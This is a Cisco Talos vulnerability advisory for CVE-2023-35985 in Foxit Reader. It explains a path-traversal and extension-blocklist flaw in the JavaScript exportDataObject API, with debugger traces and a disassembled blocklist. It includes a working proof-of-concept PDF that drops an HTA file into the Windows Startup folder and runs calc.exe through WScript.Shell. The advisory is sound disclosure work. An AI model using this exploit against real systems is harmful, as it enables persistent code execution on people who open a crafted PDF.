Talos Vulnerability Report

TALOS-2023-1834

Foxit Reader Javascript exportDataObject HTA file creation vulnerability

November 27, 2023
CVE Number

CVE-2023-35985

SUMMARY

An arbitrary file creation vulnerability exists in the Javascript exportDataObject API of Foxit Reader 12.1.3.15356 due to a failure to properly validate a dangerous extension. A specially crafted malicious file can create files at arbitrary locations, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.1.3.15356

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-73 - External Control of File Name or Path

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists an HTA file creation vulnerability in the way Foxit Reader handles the exportDataObject method of the Doc object. The exportDataObject method extracts the data object specified via the cName parameter to an external file. This method can launch the file once it is created if the nLaunch parameter of the method is set to 2. This can be illustrated by the following proof-of-concept code:

5 0 obj
<</S/JavaScript/JS(\n\nfunction main\(\) {
console.show\(\);
this.exportDataObject\({ cName:"MyData", nLaunch: 2}\);

}
main\(\);
)/Type/Action>>
endobj

6 0 obj
<</Length 6/Params<</ModDate(D:20230731134730-08'00')/Size 6/CheckSum<FA0903293EC8FC1F19087D0EB2FFDED8>/CreationDate(D:20230731133537-08'00')>>/Subtype/application#2Fhta/Type/EmbeddedFile>>
stream
<script language='jscript'>var cmd = 'cmd.exe /c calc.exe'; new ActiveXObject('WScript.Shell').Run(cmd);</script>
endstream
endobj

7 0 obj
<</UF(..\/..\/..\/..\/..\/AppData\/Roaming\/Microsoft\/Windows\/Start Menu\/Programs\/Startup\/exploit.htm)/EF<</F 6 0 R>>/Desc()/F(exploit.hta)/Type/Filespec>>
endobj

8 0 obj
<</EmbeddedFiles 9 0 R>>
endobj

9 0 obj
<</Names[<FEFF004D00790044006100740061>7 0 R]>>
endobj

Here, the object 9 contains the MyData data object. FEFF004D00790044006100740061 is the hexadecimal unicode value of the string MyData. The exportDataObject method extracts this data object and writes it to the file indicated by the UF key of the object 7. In this case, an HTA file is written to the disk. The content of the file is the stream object of the object 6, which contains JavaScript code to run the calc.exe application.

The Foxit application saves the new file to the temp directory, but it doesn’t check for the directory traversal characters, i.e. dot-dot-slash (“../”), before appending the filename indicated by the UF key to the temporary directory path. This allows the use of the directory traversal vulnerability to write files to an arbitrary path. We can observe the following in the debugger:

0:000> g
Breakpoint 6 hit
eax=0f49e96c ebx=0e7fb3a0 ecx=1f2842b4 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3014 esp=073fb704 ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbc4:
017e3014 8d8dc4d7ffff    lea     ecx,[ebp-283Ch]
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e301a esp=073fb704 ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbca:
017e301a 51              push    ecx
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e301b esp=073fb700 ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbcb:
017e301b 6801100000      push    1001h
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3020 esp=073fb6fc ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd0:
017e3020 50              push    eax
0:000> dd eax
0f49e96c  003a0043 0055005c 00650073 00730072
0f49e97c  0064005c 00760065 0041005c 00700070
0f49e98c  00610044 00610074 004c005c 0063006f
0f49e99c  006c0061 0054005c 006d0065 005c0070
0f49e9ac  00660024 00640072 005c005f 00390046
0f49e9bc  00380052 00300030 002e0043 006d0074
0f49e9cc  005c0070 002e002e 002e002f 002f002e
0f49e9dc  002e002e 002e002f 002f002e 002e002e
0:000> du eax                                                      ; <--------- [1]
0f49e96c  "C:\Users\dev\AppData\Local\Temp\"
0f49e9ac  "$frd_\F9R800C.tmp\../../../../.."
0f49e9ec  "/AppData/Roaming/Microsoft/Windo"
0f49ea2c  "ws/Start Menu/Programs/Startup/e"
0f49ea6c  "xploit.hta"
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3021 esp=073fb6f8 ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd1:
017e3021 8d8dd8d7ffff    lea     ecx,[ebp-2828h]
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb728 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3027 esp=073fb6f8 ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd7:
017e3027 e8f2b38302      call    FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1dcaee (0401e41e)    ; <--------- [2]
0:000> p
eax=00000001 ebx=0e7fb3a0 ecx=1817f444 edx=00000006 esi=073fdfb8 edi=00000000
eip=017e302c esp=073fb704 ebp=073fdf50 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbdc:
017e302c 85c0            test    eax,eax

At [1] above, we can see that the filename is created without filtering the directory traversal characters. The CFile::Open function is called at [2] which creates the file successfully.

The application checks the extension of the file against a blocklist filter of known suspicious file types. Some of the blocklist extensions are as follows:

.text:017E48BD mov     [ebp+var_13C], offset aDtd ; "dtd"
.text:017E48C7 mov     [ebp+var_138], offset aExe_0 ; "exe"
.text:017E48D1 mov     [ebp+var_134], offset aFxp ; "fxp"
.text:017E48DB mov     [ebp+var_130], offset aGrp ; "grp"
.text:017E48E5 mov     [ebp+var_12C], offset aH1s ; "h1s"
.text:017E48EF mov     [ebp+var_128], offset aHlp ; "hlp"
.text:017E48F9 mov     [ebp+var_124], offset aHta ; "hta " ;<---------- [3]
.text:017E4903 mov     [ebp+var_120], offset aIme ; "ime"
.text:017E490D mov     [ebp+var_11C], offset aInf_0 ; "inf"
.text:017E4917 mov     [ebp+var_118], offset aIns ; "ins"
.text:017E4921 mov     [ebp+var_114], offset aIsp ; "isp"

At [3] above, we can observe that application is filtering files with the extension hta%20. This means files with extension hta are not filtered. We can observe the following in the debugger:

0:000> g
Breakpoint 1 hit
eax=0f8da098 ebx=0fb9bce8 ecx=073fdb40 edx=0000005e esi=00000000 edi=073fdd38
eip=017e4bb7 esp=073fdb34 ebp=073fdd08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad767:
017e4bb7 e824746d00      call    FoxitPDFReader!safe_vsnprintf+0x52e880 (01ebbfe0)
0:000> p
eax=0b4764e8 ebx=0fb9bce8 ecx=073fdb40 edx=00000000 esi=00000000 edi=073fdd38
eip=017e4bbc esp=073fdb38 ebp=073fdd08 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad76c:
017e4bbc 50              push    eax                                               ;<-------------------- [4]
0:000> dd eax
0b4764e8  0f8dd650 0f8dd860 0f8dd848 0f8dde60
0b4764f8  0f8ddea8 0f8dd818 0f8dd698 0f8dd878
0b476508  0f8dd890 0f8dd8a8 0f8dd8c0 0f8dd8d8
0b476518  0f8dd8f0 0f8dd908 0f8dd920 0f8dd938
0b476528  0f8dd950 0f8dd968 0f8dd980 0f8dd998
0b476538  0f8dd9b0 0f8dd9c8 0f8dd9e0 0f8dd9f8
0b476548  0f8dda10 0f8dda28 0f8dda40 0f8dda58
0b476558  0f8dda70 0f8dda88 0f8ddaa0 0f8ddab8
0:000> du 0f8dd650+c 
0f8dd65c  "acm"
0:000> du 0f8dd860+c
0f8dd86c  "ade"
0:000> du 0f8ddaa0+c
0f8ddaac  "hta "
0:000> du 0f8ddab8+c
0f8ddac4  "ime"
0:000> p
eax=0b4764e8 ebx=0fb9bce8 ecx=073fdb40 edx=00000000 esi=00000000 edi=073fdd38
eip=017e4bbd esp=073fdb34 ebp=073fdd08 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad76d:
017e4bbd 8d8d5cfeffff    lea     ecx,[ebp-1A4h]
0:000> p
eax=0b4764e8 ebx=0fb9bce8 ecx=073fdb64 edx=00000000 esi=00000000 edi=073fdd38
eip=017e4bc3 esp=073fdb34 ebp=073fdd08 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad773:
017e4bc3 e8382f6d00      call    FoxitPDFReader!safe_vsnprintf+0x52a3a0 (01eb7b00) ; <------------------------- [5]
0:000> dd ecx
073fdb64  0f8dd830 00000000 04a13aec 04a13af4
073fdb74  04a13afc 04a13b04 04a13b0c 04a13b14
073fdb84  04a13b1c 04a13b28 04a13b30 04a13b38
073fdb94  04a13b40 04a13b48 04a13b50 04a13b58
073fdba4  04a13b60 04a13b68 04a13b70 04a13b78
073fdbb4  04a13b80 04a13b88 04a13b90 04a13b98
073fdbc4  049918bc 04a13ba0 04a13ba8 049d1d20
073fdbd4  04a13bb0 04a13bb8 04a13bc0 04a13bc8
0:000> du 0f8dd830+c                                                            ; <---------------------------- [6]
0f8dd83c  "hta"
0:000> p
eax=00000001 ebx=0fb9bce8 ecx=00000000 edx=00000068 esi=00000000 edi=073fdd38
eip=017e4bc8 esp=073fdb38 ebp=073fdd08 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad778:
017e4bc8 85c0            test    eax,eax                                        ; <------------------------- [7]
0:000> g
Breakpoint 2 hit
eax=0f49e96c ebx=0fb9bce8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e301b esp=073fb700 ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbcb:
017e301b 6801100000      push    1001h
0:000> p
eax=0f49e96c ebx=0fb9bce8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3020 esp=073fb6fc ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd0:
017e3020 50              push    eax
0:000> du eax                                                                ; <-------------------------------[8]
0f49e96c  "C:\Users\dev\AppData\Local\Temp\"
0f49e9ac  "$frd_\F9R2E51.tmp\../../../../.."
0f49e9ec  "/AppData/Roaming/Microsoft/Windo"
0f49ea2c  "ws/Start Menu/Programs/Startup/e"
0f49ea6c  "xploit.hta"
0:000> p
eax=0f49e96c ebx=0fb9bce8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3021 esp=073fb6f8 ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd1:
017e3021 8d8dd8d7ffff    lea     ecx,[ebp-2828h]
0:000> p
eax=0f49e96c ebx=0fb9bce8 ecx=073fb728 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3027 esp=073fb6f8 ebp=073fdf50 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd7:
017e3027 e8f2b38302      call    FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1dcaee (0401e41e) ;<------------------------------------[9]
0:000> p
eax=00000001 ebx=0fb9bce8 ecx=1817f444 edx=00000006 esi=073fdfb8 edi=00000000
eip=017e302c esp=073fb704 ebp=073fdf50 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbdc:
017e302c 85c0            test    eax,eax                                       ;<------------------------------------[10]

At [4], the argument of the method at [5] is pushed onto the stack. The value being pushed comes from the register eax, which contains the disallowed file extensions. At [6], the this object of the method contains the extension of the given filename, which is the string “hta”. The method called at [5] performs the string comparison, which fail as the string “hta” is not present in the disallowed list. The comparison results can be observed at [7]. Later on, the filename was passed to CFile::Open at [9], which created the file successfully. The non-zero value at [10] indicates that the open was successful.

HTA files represent “HTML Applications” and can contain arbitrary code. This vulnerability allows the creation of HTA files. The execution of these files leads to arbitrary code execution.

TIMELINE

2023-08-28 - Vendor Disclosure
2023-11-22 - Vendor Patch Release
2023-11-27 - Public Release

Credit

Discovered by Kamlapati Choubey of Cisco Talos.